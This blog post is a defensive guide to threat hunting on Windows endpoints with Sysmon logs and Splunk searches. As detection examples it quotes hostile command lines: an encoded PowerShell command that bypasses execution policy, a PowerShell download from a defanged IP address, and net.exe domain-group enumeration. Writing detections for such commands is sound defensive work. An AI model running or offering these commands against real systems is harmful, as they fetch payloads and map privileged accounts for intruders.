Splunking the Endpoint: Threat Hunting with Sysmon

Michael Haag
5 min readFeb 6, 2017

As usual, there has been a lot of chatter about threat hunting, but never enough tactical guides or threat hunting methods from individuals. I recently gave a talk at BSidesSD titled “Detecting and Preventing the Adversary”. A majority of the talk was focused on hunting and the methodology I implement. In the past, I worked at a large MSSP where we pulled in every datasource small and large, along with more recently with focus on a single datasource. Before threat hunting was a buzzword, very few people talked about going off the grid to identify patterns. There is no voodoo to hunting, special sauce or purchasing another product. The best threat hunting tool is you.

Focus of this post is around utilizing Sysmon to perform threat hunting. Whether you use Splunk, Graylog or ELK, everything covered may be reproduced and used in all logging platforms.

Sysmon

Sysmon (System Monitor) is part of the Windows Sysinternals Suite and can be downloaded for free. It is a system service and device driver, that logs system activity to the EventLog.

What type of data does Sysmon Collect?

https://blogs.technet.microsoft.com/motiba/2016/10/18/sysinternals-sysmon-unleashed/

I have collected many sample configuration and resources of Sysmon setups, deployments, use (hunting etc.) and recent presentations on my Github site:

Basic, getting started, configuration:

To the more advanced configuration:

Setup

Sysmon

I already have log data collected in Splunk, but I am going to implement InfoSec Taylor Swift latest Sysmon config.

sysmon.exe -c sysmonconfig-export.xml

Simple enough!

Splunk

I will go into Deploying Sysmon and Splunk on a later post. More or less, Splunk has a TA for Sysmon. Once you get Sysmon deployed to a few endpoints, deploy the TA via your deployment server (or app deployment method). Once complete, data will begin flowing to Splunk.

Splunk

Whatever datasource I use, I immediately create a search macro. In this case I created a macro `sysmon` for the sourcetype:

 sourcetype=”XmlWinEventLog:Microsoft-Windows-Sysmon/Operational”
http://localhost:8000/en-US/manager/app_splunk_sysmon_hunter/admin/macros

I also created a specific app for our hunting — app_splunk_sysmon_hunter.

Become the Hunter

Hunting can be based on what you read about, past incidents or just freeform creativity. I always explain it like this, you’re taking the data and looking at it differently to identify known or unknown threat in your organization. Fortunately for us, Splunk does a solid job in helping us achieve easy methods of reporting and alerting, along with advanced mathematical methods for analysis.
Since we are focusing entirely on endpoint data, I will show you how I break things up between three methods:

  1. High fidelity alerting — events that are guaranteed to be actual threats
  2. Broad reporting — events that require tuning, but produce noise/false positives
  3. reporting by process name — super loose reporting to identify patterns, new behaviors and anything missed by 1 & 2.

What does this look like?

1. powershell.exe ExecutionPolicy ByPass -EncodedCommand IAAkAGYAPQ...=

OR

powershell -command “& { (New-Object Net.WebClient).DownloadFile(‘http://188[.]164[.]249[.]125/9230dd6471474e2417c19ef02698747e'

2. powershell.exe + network event

3. powershell.exe

Another example:

  1. net.exe groups “domain administrators" /domain

2. net.exe view or net.exe user

3. net.exe

A lot of people ask “How do I hunt?”
To me, everything starts at #3 and works their way up to being specific enough to a high fidelity alert. Most things will end up at #2. Some processes like msbuild.exe may generate so much noise you will have to keep it at #3 forever. That is the purpose, it’s meant to be a “show me all the things” report.

Hunting in Splunk

Everything we will create will be a report and specific reports will be ran as realtime or hourly, and may be changed based on your environment.

EventDescription

See here for a detailed explanation of each event class and ID: https://blogs.technet.microsoft.com/motiba/2016/10/18/sysinternals-sysmon-unleashed/

`sysmon` | top EventDescription
`sysmon` process=*\powershell.exe | stats values(EventDescription) by process
`sysmon` | stats values(EventDescription) by process,CommandLine

Process Execution

`sysmon` | stats values(ParentImage) by process

CommandLine

`sysmon` | stats values(CommandLine) by Computer,process

Processes

Powershell.exe

`sysmon` process=*\\powershell.exe | stats values(CommandLine) by Computer,process
`sysmon` process=*\\powershell.exe CommandLine=”*-enc*” | top CommandLine

Net.exe

`sysmon` process=*\\net.exe | stats count by Computer,CommandLine
`sysmon` process=”*\\net.exe” (CommandLine=”*net group*” OR CommandLine=”*net localgroup*”) | stats count by Computer,CommandLine

Users

`sysmon` | stats values(user) by Computer
`sysmon` | stats values(CommandLine) by user

Extras
https://github.com/MHaggis/hunt-detect-prevent/tree/master/Splunk
All of these along with some custom dashboards will be published shortly in a single app.

Things to do…

Release the app for all to use — Here it is!
Publish for Graylog
Add extraction of the process name
Splunk Datamodel
Log Network Connections
Dashboards

I hope you found this useful on your endeavors with using Sysmon with Splunk. Once the app is complete I will publish another post with a walkthrough of the reports and dashboards.

--

--

Michael Haag

I write, sometimes, about InfoSec related topics and I love coffee.